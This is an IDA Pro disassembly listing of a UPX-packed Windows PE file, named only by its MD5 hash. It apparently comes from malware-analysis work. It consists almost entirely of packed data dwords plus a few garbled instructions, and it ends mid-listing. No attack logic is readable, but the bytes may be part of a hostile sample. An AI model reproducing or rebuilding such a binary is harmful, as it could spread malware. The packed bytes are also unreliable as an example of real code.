; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 565E4C6436B0C774FBEC48BAFD7C5613 ; File Name : u:\work\565e4c6436b0c774fbec48bafd7c5613_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31420000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31421000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 1400h dup(0) UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31426000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0E8D2FE1Fh, 87778778h, 0BE817BB1h, 26493A6Dh, 94F32D5Dh dd 796894F9h, 17958305h, 4B2E2B70h, 782E2F8Eh, 84107912h dd 6D876339h, 0A7A36950h, 0F37DC7CEh, 0DA643A0h, 58916A7Fh dd 0FDF5257Ah, 10448688h, 0C2A4A3E0h, 6628547Ch, 0F04568F4h dd 0B70D6F7Dh, 4D804F4Eh, 1275AF6Fh, 5FC5A7Eh, 64838A8Eh dd 284D7DFCh, 21177790h, 88102164h, 0E3D518C2h, 7B7A1553h dd 0C338F447h, 4C91C7A3h, 8780FBF8h, 0D843DF1h, 5893657Ch dd 15872EEAh, 0D95E317h, 5CE82B70h, 7060BE43h, 8468760Dh dd 0CB06A695h, 7B120451h, 0C7299320h, 2F786841h, 4BD96419h dd 0C8D583E3h, 28803D1Bh, 494A2B2Fh, 4B4A764Ch, 2E8C0E8Eh dd 2B800D2Eh, 8744004Bh, 0D2204E43h, 2BE7E47Dh, 0BCFBCD38h dd 87B84B74h, 27878027h, 0BBB12326h, 705C34F3h, 7C5C3CF3h dd 0B7FB2F60h, 77123887h, 537909F5h, 8787A381h, 68F22187h dd 7B8720F2h, 0B9A17AA9h, 9AF87C82h, 5C2C527Bh, 7A9BB860h dd 0DDF0AB72h, 0C38323F2h, 0F2792885h, 62B28660h, 0FB6EA95Ah dd 5B617BB8h, 87C2639Bh, 6E6488C3h, 6CF53E3Eh, 4882FB4Fh dd 0BB24C704h, 1794FB0Dh, 40C057C3h, 0C6215F21h, 5F23A34h dd 0DD8B729Ch, 5B97871Eh, 77DCDDA3h, 25F3B048h, 0A3FD6874h dd 0FB7B05DCh, 9D8762BBh, 0C67795A0h, 704DF605h, 0AE2F9CA9h dd 21B8FD21h, 1CF56B0Ch, 35CF8783h, 0B9536240h, 0E1BB7B21h dd 3CF2818Fh, 5B939C6Dh, 453B067h, 0B0B0763Ah, 39F27B93h dd 8785C698h, 3DF3FCA7h, 0DF32E74h, 78F22F68h, 340CB8FCh dd 542B19F3h, 1017877Ah, 0F26BA780h, 8FBEF3A0h, 7025F0A0h dd 7B6E7040h, 0CE7FF06Ah, 21871717h, 1983F83Fh, 7D730421h dd 0F47E0702h, 1996FB8Bh, 9F8E3972h, 2277817Eh, 0D303539h dd 0BA1C23C3h, 33C3CF73h, 1F785FF8h, 4B36BB25h, 0A376F3B1h dd 7C879915h, 696CCE77h, 0FB39BA7Bh, 0EA887B81h, 0F3F621E1h dd 0FDC66E96h, 0FE195ABAh, 0A0F88512h, 1454A810h, 7CA407C4h dd 28EED91Ch, 7F5DF11Ch, 0F881CE3h, 0BF2FF7FEh, 73D3A0FDh dd 841DFB78h, 0C3101078h, 5BB961C7h, 21217C9Ah, 0C5F180F3h dd 87FD67A8h, 9694A34Ch, 5C4AFC77h, 687CBFFBh, 0F72F5B76h dd 0F31E4E4Fh, 28219C42h, 0A796F677h, 0F8978387h, 0F23478DFh dd 0E0FDF07Fh, 0FBA0C65Fh, 0E5F11993h, 0E6F073ACh, 97C66F0Dh dd 0F50A831Eh, 313F709Eh, 44CF0612h, 703D9347h, 0CDF18815h dd 3CBC8EB4h, 0B34EA0A0h, 5EF8E87Eh, 9C2C2FD1h, 0B9940327h dd 0F2EF7B97h, 3E7EF06Eh, 0FA4B3A57h, 87C20685h, 3EF5E465h dd 0CE7A5979h, 0A7911B77h, 2865580h, 0D7E4064h, 723C120Eh dd 0B1FE438h, 61A49464h, 76EC537Fh, 14A1C8F4h, 394812A0h dd 0C675A01Eh, 4BA074C9h, 0D7860EEh, 0A1C54163h, 4F89B4E6h dd 0E479EE7Fh, 0FA0A921h, 55E077DDh, 35FB2102h, 0BA7D716Ch dd 88CBF4F3h, 35F31070h, 5275F988h, 3BFDB0C1h, 7890F2DCh dd 68B5D6E6h, 71157FD1h, 0E329603Ch, 12A314D5h, 6F7FE11Bh dd 4BE8E87Ch, 0A1C2C7A3h, 0CC540F5h, 4EE644Ah, 0F6944D0Eh dd 37FE99C8h, 287C4DCCh, 0C736B891h, 25C10410h, 0BCBF61A1h dd 93866964h, 8F0D6B60h, 1055E6B8h, 2B746108h, 38341078h dd 0FF72AE0Ch, 77882BEFh, 0F5A32B50h, 6294D3AFh, 288480D3h dd 0FDDE58FCh, 2B2E56EBh, 74892E83h, 2ABA55A3h, 2E667C9Ch dd 65C75446h, 0CE41F30Fh, 0D5AE4BAEh, 0E06533A3h, 17122FCAh dd 0C787AF4Dh, 0D1BA1859h, 7C7C054h, 444C6819h, 0FCF2470Ch dd 0FE38F8CEh, 7FF9CECCh, 478E8303h, 0BF73BB67h, 0F81C4D21h dd 98B9211Bh, 504DFD7Bh, 0D7A5727Ah, 0D11E0E89h, 126A0DFEh dd 0AB87A2EDh, 0F0859470h, 0DA37E514h, 8A7B9384h, 87CF86CEh dd 0AA4B1C2Dh, 1BEB98C1h, 0BAF9898Fh, 787E6330h, 0D5EC972Ah dd 86077B15h, 1BF00A6Eh, 24F4DF7Eh, 9098560Dh, 4CD02ECEh dd 2572F6Dh, 0B3CD2F2Fh, 0F4D69EC2h, 7D747027h, 133A9472h dd 0F5668F17h, 0A469083Bh, 937B5C5Ch, 4B15E157h, 63C04034h dd 38865CB8h, 0C31F1F38h, 6031A2ACh, 0F17C0E5Ch, 73466554h dd 0E74EE573h, 0AA26B848h, 4C12AEC3h, 76EA7083h, 7B103F41h dd 0B9E19A2h, 1B6458ADh, 0F5FF2645h, 7A66CDCCh, 60581374h dd 131DE97Ah, 61932796h, 60642F00h, 85F48C6Ch, 35775CFBh dd 7579F164h, 4774BF50h, 1E86969Bh, 48F19CC0h, 34FCD994h dd 0A8D5EBC4h, 5927AD90h, 0B0F076E3h, 7ACD567Dh, 8C052A73h dd 63692084h, 0C011DD07h, 6512D87Dh, 0CF249D2Eh, 69E7CE1Fh dd 2228EC3Dh, 0CC7B71E4h, 7ECC1610h, 5C3400BEh, 86B56A1Fh dd 27CE4E6Dh, 0CC752CF2h, 71F86EF0h, 0B7E17E39h, 501717BEh dd 18129604h, 3FE0642Dh, 8F4991DCh, 7046A6F2h, 4698A9A0h dd 0C40BC5B4h, 6687348Bh, 711259F5h, 97199710h, 2149FE76h dd 58333DFCh, 95C2B247h, 2F627C07h, 3DF098A8h, 39836883h dd 1EEA5867h, 98A88621h, 822F717Ch, 9E1F3182h, 5110032Ah dd 0A0479976h, 10AA1A98h, 12A3CB17h, 2BA45C68h, 1E3CF973h dd 1EFD75BFh, 1027A50Bh, 189CD1C5h, 1773611Eh, 0A42F0DD8h dd 0F184E05Eh, 1C49980Dh, 5E6F50A1h, 4F7B9256h, 0BBFF38ECh dd 0DFB0C7CCh, 4310A098h, 2D99E3FBh, 3DF83B04h, 0ED60AB80h dd 7FFED617h, 10874B35h, 9E657E38h, 3E3195E8h, 0D0B8E014h dd 6385636h, 1C3E744Bh, 7A61E3A6h, 7048C001h, 0F925883Eh dd 5FF4779Eh, 495E19F8h, 79BDFD77h, 44C5A1D6h, 7FA870A7h dd 88C44478h, 0B4C82EE8h, 7469700Eh, 0B38C3A27h, 248F4459h dd 0CB696789h, 0FA9C9474h, 726B7A33h, 0D8800016h, 0D94649BDh dd 0F15D33C6h, 0A33BD2FDh, 0D68808D8h, 0EADA7C05h, 36B87744h dd 7A039064h, 0FC7A8A12h, 3F840563h, 887A3261h, 0D84B9C7Ah dd 7A6E3010h, 0AACF4DAFh, 0DF45057Bh, 0EE71079h, 4E9EB49Eh dd 4232581Ch, 6322CFB4h, 0A4FFCF4Ch, 120EFC98h, 0EE8C5208h dd 9EB09BF4h, 26B018F8h, 2EF1C72h, 5F46635Dh, 0DA5078FCh dd 4E337847h, 44A1C113h, 0E0C1CA14h, 9C0FC59Ah, 0A4791F2Ch dd 49062877h, 0BF0FBB9Ch, 0D4104375h, 0AB50B875h, 0C940B6A4h dd 9D1770B1h, 0A374027Ch, 0AA303D5Ah, 0A555BD80h, 0AE635957h dd 3856A364h, 7E086AA6h, 34E84194h, 38C4803Ch, 0BA09E8AEh dd 63A6283Ch, 21436668h, 0ECCF4B17h, 0F959EF75h, 1F91D481h dd 90048693h, 6E5CDDF8h, 105D7E78h, 5DE5642Ah, 648A237Fh dd 0EE8C6A0Eh, 0F1E591BBh, 0EC72971Dh, 3B00412h, 1CC99BBBh dd 0B1C63174h, 0E165A103h, 0E8992C9Ch, 0F4E7915Ch, 0A4B4BB31h dd 0B7005C56h, 54FA3095h, 801C7D54h, 1E8C6D74h, 4B61D87Ah dd 7008025Bh, 0F7F1260Ch, 8CBEA576h, 6429B427h, 0F8CB97E4h dd 75C9CD9h, 7DDC4DD0h, 0CDA80063h, 2F6AFA80h, 220C2F4Fh dd 72B38149h, 0C80766Ch, 71D81033h, 0B250CF2Bh, 55450CB6h dd 1F95FDB1h, 0D8395811h, 77842D87h, 4DC2C190h, 289CE6AFh dd 76EE50D4h, 23487A88h, 2D3FC735h, 0F4787180h, 106DFB9Ch dd 8C0D2043h, 60FF963Ah, 0FD6B59BDh, 0D17228F3h, 0C78F07CEh dd 4439F357h, 10B97B2Fh, 30F33554h, 2800F34Ch, 0D88C35F1h dd 967E52CCh, 6410A033h, 25EFA063h, 888D21D2h, 7010AA79h dd 0B9F5946Ah, 950CBBC9h, 6968AF75h, 8C1776FAh, 6C71CA12h dd 8035895Bh, 0E90E5429h, 606028FDh, 0F15210EFh, 142CD891h dd 0B23825C8h, 3EB8957Bh dd 934C131Bh, 0E2D36148h, 2116AD00h, 7B05882Dh, 0D31F3D9Eh dd 8846A533h, 2B284929h, 7198D466h, 8C4DBC8Fh, 6F82AEC5h dd 47921512h, 2D0FA889h, 0CBF4394h, 6393207Dh, 229D066Fh dd 5D4CF4C7h, 7D847621h, 4E9F4C27h, 0C707F93h, 99842097h dd 272A66FEh, 18572929h, 0CA114977h, 24E9D93Ch, 0C2C05D75h dd 0A558A33Ah, 0CA6BC9D7h, 694BD694h, 55217793h, 0CE1281BAh dd 0E195BCC9h, 74F844C4h, 6C28D028h, 55F0CAEh, 25B85428h dd 3C218461h, 3B0458C2h, 5C04F32Fh, 0DDBDFB6Ch, 669AA22h dd 1C62FF6Fh, 0F847878Dh, 6CF019BAh, 8F433E66h, 5CF89104h dd 0BEF47843h, 2CADAEA3h, 27563CF3h, 2E2FD422h, 486065A3h dd 57591E0Ch, 0F0EEA40Bh, 28885695h, 782E2861h, 7BBBD4D2h dd 0ED0F994Ch, 318C35BCh, 0F71316F4h, 88748210h, 0B170BF87h dd 4CE311EEh, 5652B44Ch, 0E1D50B34h, 72720D95h, 6258C428h dd 466E7960h, 7FBE2CD9h, 794307C0h, 0D589B60Ch, 0F3743805h dd 29707978h, 275C3CF5h, 0E3194C59h, 0AB6948BDh, 0C5C217Bh dd 7F803690h, 7FC3B46Dh, 1E57B058h, 4B4BBF83h, 0B980B09Ch dd 73FD689Fh, 3E01C8ACh, 0F37A78CEh, 784B6A25h, 8B085E3Fh dd 79E5BA79h, 2BBC92B1h, 0DB699BBEh, 8ACD034Dh, 0BB5D284Dh dd 5ECEE5FBh, 0D59F30F8h, 381E14CDh, 39886FE6h, 0C3104DEDh dd 0E0B69B49h, 0CF141045h, 3F37883Ch, 61C91814h, 0DD352C86h dd 54BDAB6Ch, 42CA2A4h, 84758678h, 4BD94CC2h, 530178C1h dd 0AB943BFh, 0AB9F37Ah, 9993CF17h, 90D95153h, 5BBF7B60h dd 865DDBD4h, 5B45B4EEh, 12690Ah, 0A2493880h, 0BC934450h dd 0F28996Bh, 148E375Eh, 0EC66AC69h, 0B544106Dh, 7396351Ah dd 0EF40107Bh, 0E51E4644h, 2C2B42CDh, 0A8FB2A2Bh, 0F43F98C9h dd 7CBAE05Ch, 6B15FA5Bh, 761C48E0h, 90A8C98Fh, 70BB6EACh dd 0C3963651h, 0F12F3B0Fh, 0F810107Eh, 5FFC65F1h, 25370660h dd 6C9415DAh, 788AACB8h, 0B94C2BE9h, 7A031314h, 0F8934279h dd 0E2AC109Eh, 6235850Fh, 0CB324E00h, 0A4B5570Ch, 1F0226DBh dd 0DB1D740Dh, 2B84DC86h, 62A1AA29h, 42FE2E6Bh, 0A44610A0h dd 5E2EA0F4h, 20612681h, 80A2126Ah, 267D68BAh, 97332EB8h dd 741EEFDCh, 9425F190h, 0A7877D75h, 5D958F18h, 427C6787h dd 3B84DBBBh, 0F2679F0Ch, 27B1FCB4h, 0C9031C5h, 921328A7h dd 1C38273Ah, 0DD61FDC2h, 3C741C1Dh, 5391D7DBh, 6C802703h dd 0E63067A0h, 82B6D594h, 6D580610h, 9A931A36h, 24B9B72Bh dd 3D27993Ah, 0D479E83Bh, 81E6503h, 0C84B44D6h, 0AB7F69AEh dd 7A46A33Bh, 0F842AE9Eh, 0E3757281h, 0D3C810CCh, 0C981BDBh dd 0FA5379A0h, 8CDB0304h, 0FE71A183h, 0CF459CB5h, 51983D2Ah dd 96B58E08h, 617C1C75h, 101B639Ah, 946B5BCAh, 244C37CDh dd 6BFE936Bh, 0C818E1D6h, 4D118362h, 41083C80h, 0E85D5438h dd 0AAE8F7EBh, 8B5B01Ch, 0E83DF46Bh, 0EC7E9724h, 0A41642Ch dd 0E434E09Ch, 0DC44D83Ch, 3F5BE94Ch, 0D454D0F6h, 4164C85Ch dd 0CCB09C0Ah, 0C46CC060h, 0E774B868h, 0BC64F63Fh, 0B47CB070h dd 80A83584h, 5BE9B09Ch, 88A08CACh, 0FDD694A4h, 90980A41h dd 7CFF9C9Ch, 78F31EC5h, 0DB14AB4Fh, 0C100A2A6h, 7A84C815h dd 0B71FBF4h, 94F44C6Ah, 39247B0Eh, 32F5E8FDh, 93748721h dd 35F56290h, 0CC759C40h, 0B1416224h, 0FF738804h, 0AC10410Ch dd 4FD0D335h, 0CE4A1A0Fh, 0BC7E35B4h, 0FC467515h, 0E2C431FCh dd 362F7C1Dh, 52A3430Ah, 724C6D59h, 5F166EDAh, 396F4642h dd 27E2503Ah, 559986Ch, 8060CC90h, 93E46BF0h, 0BAFA3A9Bh dd 226DE1EBh, 6318EDD7h, 1B2D3F7Bh, 0A607DCF8h, 0D56988D2h dd 733DF229h, 4A8712E6h, 0F8B995A3h, 0B4422ABBh, 0A4254049h dd 89708642h, 7325F05Dh, 77857FAAh, 22744DCFh, 80748721h dd 8FE177EBh, 0F6AE7B86h, 83F8BB86h, 56AD0A87h, 26C5BE23h dd 270E1AC2h, 0E06BCA1Ch, 104B177Ch, 2EA27120h, 0F9703740h dd 0BF757C72h, 71A321C8h, 0F80DF773h, 18E33155h, 2781770Dh dd 66F1545Dh, 45E5D59Ch, 7B87FC4Ah, 83F93BAFh, 0CD75C609h dd 27E7EE5Bh, 13DE25FFh, 337436Eh, 15DA220Bh, 9E2F4461h dd 0E10B7857h, 85C600CFh, 8E86877Ch, 19F00744h, 4B841423h dd 70F38D77h, 0D2A48B43h, 0A0CBCA0Eh, 2FD8DB46h, 0E42F57E6h dd 7A5DE6A1h, 6B2180AEh, 5D165DBBh, 0CBC38776h, 0BB8A960Dh dd 1099D4F6h, 0ABDE5F68h, 0EEE6ABC6h, 0FCB9B9F8h, 28D15508h dd 682AD51Ah, 0F7BA3D36h, 0C2184A8Dh, 8AD22412h, 9881A4A7h dd 73844234h, 1C10C87Bh, 7B0AA536h, 6968437Eh, 0AF3AC25Fh dd 14986A8Fh, 73F8BE71h, 0C85341A7h, 2D1773C8h, 0FC2FEB2Eh dd 0F8B400A0h, 296B9EA0h, 101E6435h, 856774DDh, 0A16C1A8Ch dd 2BF17E96h, 7A738E19h, 70402812h, 0D82385D7h, 0AA7D5425h dd 600C78EEh, 0B7F6971h, 68793FF5h, 786C617Dh, 71A5FD6Bh dd 6F7EA037h, 3AC5D276h, 0C88F9A3h, 0BFAD2B75h, 0C6696829h dd 41597999h, 42605C34h, 695FD95h, 0A00EA069h, 5E33DDFEh dd 976C3554h, 14615DEEh, 93DA7D0Fh, 0F30D758Ah, 1DC0C80Eh dd 1082A593h, 0B9634B47h, 0EEF918B0h, 0FA86D74h, 16D11A4Eh dd 0E86C7068h, 57FF33DBh, 2E60A129h, 0A0A02484h, 8E604FCAh dd 0C452E46h, 1B69B67Dh, 193952A4h, 0CF3354E4h, 685828ABh dd 217B7060h, 0D2731A84h, 0F32D7726h, 22B699BEh, 564BDA2Fh dd 2E2B542Eh, 0B1E860FCh, 5D5F782Dh, 22B6217Bh, 7C742A72h dd 0EA1AB758h, 50D72574h, 0F19ACF79h, 59A62BBBh, 0ECF61136h dd 6B8E8C40h, 2466444Ch, 8F01364Eh, 3BD5A67Ch, 50656C14h dd 1002DC55h, 0EAB9944Dh, 8CA02255h, 5A8C7168h, 0B75843A8h dd 96804E02h, 3F055A65h, 79660CF5h, 8D2E8403h, 307CB986h dd 0CD876466h, 0C1CB3D98h, 873D5758h, 702A6777h, 19BB2F18h dd 643E284Bh, 4CF1C50Eh, 0CF4BD80Ch, 2FAED144h, 75E9C9B0h dd 0E037D4CEh, 64F8AC7Eh, 0A09C0A41h, 9814A40Ch, 0E9309C18h dd 90F63F5Bh, 88589444h, 614CA968h, 0CF788CB4h, 1BC773FCh dd 1C049A19h, 0F30681C6h, 0D91C29DAh, 0CCBC4560h, 0B3A04E70h dd 766F0D0Ah, 0DE356531h, 5271E6E2h, 0C5DBFB46h, 0F23E710Dh dd 0F0983Ch, 0F43F8C12h, 0CC710CC8h, 12F0210Ch, 0F3CBF91Bh dd 0FCC4A621h, 2575AD9h, 98FB47B9h, 7DB8FB7Bh, 0FEC1B52Fh dd 852132F3h, 28E568B7h, 456A6016h, 6445AE7Fh, 765E961Eh dd 2890476Ch, 0E054973Ah, 5838DA19h, 3304B239h, 0AFBE4710h dd 0B421CB7Eh, 6339A1FEh, 0B7D95DABh, 0C0798C2Ch, 0EEF9987Fh dd 0E7F37738h, 46B9F06Fh, 3067BD6Fh, 7D856CBFh, 5D211548h dd 98CBC268h, 0C7286512h, 0FE6845A0h, 29840988h, 6D4F0C47h dd 4920427Eh, 18DFC372h, 0C685F27Eh, 8C2B2AA9h, 69EC445h dd 452BA0CBh, 7793C940h, 0D8B9B621h, 0CE4AC5CBh, 40A66310h dd 1D9A1DC8h, 0B010BA5Eh, 234F4337h, 0C33EA98Eh, 0EF6275C1h dd 39AE734Dh, 346A266Ah, 236BE88h, 0BE499632h, 0CE3943C3h dd 5485E8B4h, 0E8CE68CDh, 307F60CFh, 186D9374h, 5560F89Dh dd 0D76171B5h, 294AC266h, 3C4B7425h, 94234528h, 120510FBh dd 0B438696Bh, 8C521E9Fh, 507E8778h, 0D168807Dh, 8CE9E197h dd 29786388h, 0F58FA7E3h, 0A43F562h, 7391F96Ch, 0D5FD7C55h dd 79C985C6h, 53940B6Fh, 74BCF3B0h, 70F399F3h, 0CDCA4E92h dd 3B2BDB7Ah, 3D7D241Ch dd 204E4E7Dh, 0DA787831h, 897A547Ah, 0F74CC76Ch, 2A5C7A7Eh dd 0F849392Bh, 0CF078787h, 8D7979F7h, 169FBF5h, 9C52942Ah dd 319F8E42h, 0C69892E3h, 6A359D7h, 8782ED3Ch, 26628787h dd 0FDD84A19h, 0ECE71267h, 0FC41EC87h, 4DF75EDEh, 0DD2465B6h dd 2CA73B1h, 87480A1Dh, 4F678787h, 11021735h, 57191414h dd 5848564Ch, 15171B50h, 110C1908h, 431D141Ah, 87853558h dd 312B8323h, 6D4E583Dh, 16112F71h, 0B0F171Ch, 582C3658h dd 5149564Dh, 0AC73C345h, 78F69C4Ch, 0BC797CACh, 0B7458FCCh dd 0E8D8768Bh, 107C0CF8h, 448BB776h, 307120A7h, 48AC0C44h dd 1CA14FB7h, 685A583Dh, 95784832h, 80463B07h, 0E1B6B38h dd 0D0A560Eh, 0C5CE4E06h, 7F780FCDh, 0EF141C1Dh, 0B91E771Dh dd 8703078Ah, 191D0B1Dh, 76101B0Ah, 1A170A67h, 101B0017h dd 0A31F1619h, 0AAC1C307h, 740C1D67h, 1A561C0Ah, 19780211h dd 0FDA01B50h, 13109C15h, 0C741519h, 5C00557Eh, 0C1C315CBh dd 17147E78h, 134F1A76h, 0C68E853Fh, 7A0E5E15h, 0E0C5602h dd 170C6963h, 0FD165608h, 6FF455F8h, 5F0B7711h, 0F887734Bh dd 7700F515h, 140D1C19h, 331D550Ch, 6A30E11h, 4BF80ACBh dd 0BDE1617h, 1A560C36h, 0A772B805h, 1F11371Fh, 0F00784Ah dd 2307CB19h, 1A125483h, 0E378D51Ah, 191E1902h, 8030FFD0h dd 1D2556CEh, 19D7245Bh, 8E95801Ah, 1D1C1B87h, 11101F1Eh dd 15141312h, 0A09BD16h, 0F0E0D8Fh, 87BE0100h, 1D7628A7h dd 3E3D3C3Bh, 3231303Fh, 36353433h, 2C292837h, 8710BB87h dd 2F2E2D2Ch, 63222120h, 0C0C105Bh, 57574208h, 43E3885Dh dd 57730BC8h, 856EF1Dh, 3470810h, 76CE8306h, 0B5E7745h dd 1C7E161Bh, 1E16115Eh, 517F430Eh, 494505CFh, 0C6B5E41h dd 2093D863h, 188EC383h, 4F4A4945h, 424979D0h, 57484840h dd 0F887A71Dh, 78A794F5h, 4B25A790h, 96C11EB1h, 87A31787h dd 7D0DF579h, 7EF286F3h, 3E7FE144h, 3E48547Eh, 7FF0E14Ch dd 93959A3Fh, 904C578Fh, 6A29072h, 561F1DA7h, 0B1E1EB09h dd 0A7879779h, 0C5856A86h, 7F6E85E9h, 0D2100AB9h, 0D21E853Ah dd 6CC26885h, 62E0D164h, 8F23C987h, 89E08BB1h, 97AFE70h dd 27E868B8h, 21EA4FB3h, 77EB64EEh, 4200CB83h, 92F9C6Ch dd 9427205h, 0C683E53Dh, 89E58B95h, 8971F17Ch, 3869E47Ch dd 85F695CBh, 9B8B1F5Bh, 0A4646888h, 1821CA73h, 45F7B1E3h dd 795D978Eh, 0D97C6CA1h, 0E609B26Fh, 1910F553h, 0EE3E6FCBh dd 9A62D5E9h, 506965EEh, 951715E7h, 78B028CAh, 2FA46CE1h dd 366A5D2Dh, 0A794B8DCh, 6AE995A6h, 8F95E131h, 0BC6C782Ch dd 9B3B242h, 0FFCB6443h, 5C8785A5h, 0B762599Ch, 1EF7B5B5h dd 83CEF954h, 664714E7h, 0FBC0C883h, 256AB5BBh, 65B3B1D0h dd 17E5CA07h, 735CD55Dh, 0EEDE3022h, 0B186B3B8h, 34636C1Ch dd 8B93DF51h, 0A187C2E4h, 6E91CB8Fh, 95E8C4Ch, 8176848Dh dd 51976B43h, 1787133Eh, 274F8F0Eh, 943F1EA6h, 796ED8D0h dd 9587BDCFh, 85919491h, 971977C3h, 549984CFh, 848DB279h dd 848A2284h, 85C7879Dh, 8D848F93h, 0BFAED3D2h, 21D2814Ch dd 52525DCCh, 0EBD4B11Eh, 0C6CFF9E8h, 0E8871F88h, 0B1FB1BE5h dd 48EA09B5h, 294D61C7h, 72EDA16Ch, 8787E90Ah, 9529458h dd 0DDAA93B0h, 99F8AD6Ah, 17D22AE2h, 0E252F56Ch, 3E86A7B0h dd 0F36AC183h, 0BB3F32E2h, 0A3E3D3E6h, 9458DB61h, 87A5DA14h dd 0C58785C7h, 0A7E695FDh, 93F990DAh, 0B06A2D3Ch, 56EE67C5h dd 0A06A93F5h, 6A22E2FDh, 87E271E5h, 22B57371h, 0A8EE8068h dd 71E315Ah, 0FF6A8685h, 0C31716A3h, 0EDBA22D1h, 0FA6AFD7Ah dd 0B322E97Ch, 81C1B78Fh, 0FD07381Fh, 3A352B87h, 0B02B600Ah dd 71B78CC7h, 781A8687h, 0FB3B287Ah, 372F2C3Dh, 9B23952Ah dd 28583387h, 2A3F372Ah, 49583539h, 39346FB5h, 2A7A3536h dd 721AE893h, 0CF6D1ED3h, 0CF23CEEEh, 0C31F137Bh, 4B76080Dh dd 0CE671962h, 355F930Ch, 59204A5Bh, 564A4A4Ah, 1EAB2049h dd 5860AE52h, 22F34A44h, 0DC4BB0B1h, 94637F0Bh, 745AFDA3h dd 7C785B87h, 586C7269h, 0F5A2A67Dh, 11D8AC62h, 2B333478h dd 7CE9282Bh, 0EFCFF007h, 329870FAh, 95806F0Bh, 165C782Fh dd 17781C78h, 420B780Dh, 26A6B00Ch, 71794814h, 4D7841F4h dd 0A4B8145Bh, 7F5665EEh, 4AD3A278h, 70F1B758h, 432FA258h dd 0E734EBFBh, 3E8A787Bh, 0B9E8665Bh, 387F3F7Eh, 0A97E787Eh dd 683E9F87h, 0F26D6779h, 783098F0h, 0F93C7837h, 86638785h dd 8A021261h, 5064319Ch, 0C5D48D7h, 992B1F68h, 6B04FD44h dd 480DA724h, 0D6C57C78h, 7F24CEC1h, 247022C5h, 0A4E4F19h dd 7F5635AFh, 5640784Eh, 4363480Fh, 3115F1E3h, 903B9478h dd 811B4778h, 1C760178h, 7CA470DAh, 1587588Eh, 78876E38h dd 7678A6A6h, 79E76E78h, 71C75E7Ah, 50386A6Bh, 0B9697B61h dd 0F305BB3Eh, 0AB0CA114h, 0C39C5108h, 0E452E3D4h, 0A0655D13h dd 68E715CBh, 637C3076h, 2515B72Ch, 222C6BAFh, 5A211B5Eh dd 0FBB3BF24h, 3DC1874Ch, 787DFF1Dh, 30687B73h, 0BD8787C0h dd 76C068A6h, 50127D73h, 0C9744161h, 0D0E369A8h, 537B878h dd 0A1940799h, 25278D56h, 6493F2F0h, 90E769B1h, 30685344h dd 0CA560418h, 8C74A9EFh, 74D818DBh, 0ED9C44F8h, 74C974D8h dd 4A414386h, 0F074D878h, 78717838h, 0FC037B94h, 787F815Fh dd 37386CEDh, 0C7380804h, 7EB0DD94h, 6B3B7F78h, 0F087BA01h dd 786BFD00h, 91DE23D3h, 6080686Bh, 579C71B7h, 5B768687h dd 0AC2048B9h, 0FC70C638h, 5AB9CF0h, 68C13BAAh, 0C0798796h dd 14E1968h, 0D558748Ah, 0E7077F75h, 778A6D9Dh, 87960A0h dd 77E877FCh, 77FC5D01h, 357877EDh, 7A7E84E6h, 1477FC07h dd 0FCD2A677h, 0D0E278FFh, 71473B17h, 676BB0F4h, 28201611h dd 0B8DEA358h, 780A28B2h, 41793C3Eh, 44FC37B1h, 6A44134Ah dd 37A0D6Dh, 3944FC75h, 0EC64782Bh, 64D78779h, 0BE7E935Ah dd 0B5D2424h, 1B081124h, 0E387810Dh, 94F91E5Ch, 9C877F64h dd 3C1D2B78h, 1F0D1A1Dh, 824F0E11h, 1FFD4D60h, 121C39DFh dd 172C190Dh, 94E1CE9Ch, 6F161D13h, 6A17340Bh, 0C715080Dh dd 192EE7A5h, 391D0D14h, 5008376Fh, 0B5C1B17h, 0F5309220h dd 0E3B784Ch, 1D4B4719h, 9B492ADBh, 80153401h, 8D7D1563h dd 2C27691Dh, 2F01190Ah, 0EDAD55CDh, 493B6F4Dh, 2A2A6219h dd 1055C3E5h, 102C7D17h, 0B2E6C74h, 0DB23130Dh, 503920A3h dd 0DD003D37h, 0F4B151Fh, 3F4D1642h, 6A668B8Dh, 308C10EFh dd 7282C2Ch, 2F4A5844h, 85972ACDh, 75333758h, 0E7337972h dd 12A71E3Ch, 34557AC3h, 42551F7Ch, 600D5D58h, 0B2200322h dd 12C5057h, 0DE155ECDh, 8DBA2CEh, 6DFB1BFEh, 0F6D19657h dd 55BF7A22h, 3AB10AEBh, 0E72EC9F3h, 53783F2Fh, 0DB233FC2h dd 9D1C8E8Ch, 3AB30BB3h, 15F52F83h, 0D11B0E0Bh, 0A2110FB3h dd 892BF30Fh, 6F274A7Bh, 0E2119F0Dh, 7FCD9E56h, 4E4F407Bh dd 0DEC35F0Ch, 4B674C4Dh, 4A7B4B11h, 0AB330D8Ah, 6B414849h dd 0B0404740h, 4F75FB58h, 584D4E7Fh, 4C4A74FBh, 0E8E24A4Bh dd 4849B042h, 81428B00h, 0B4EDD487h, 372BC3A1h, 392F2C3Eh dd 35243D2Ah, 1AB98011h, 170B1703h, 24C724AFh, 0A0A0D3Bh dd 1319C45Ah, 0BA42E6Dh, 0D2A2472h, 0FDCFE716h, 0C5B6F6Eh dd 105CAA17h, 872B5848h ; --------------------------------------------------------------------------- fld tbyte ptr [eax] adc [ebx-71h], ah wait inc ebx pop ds push ss or 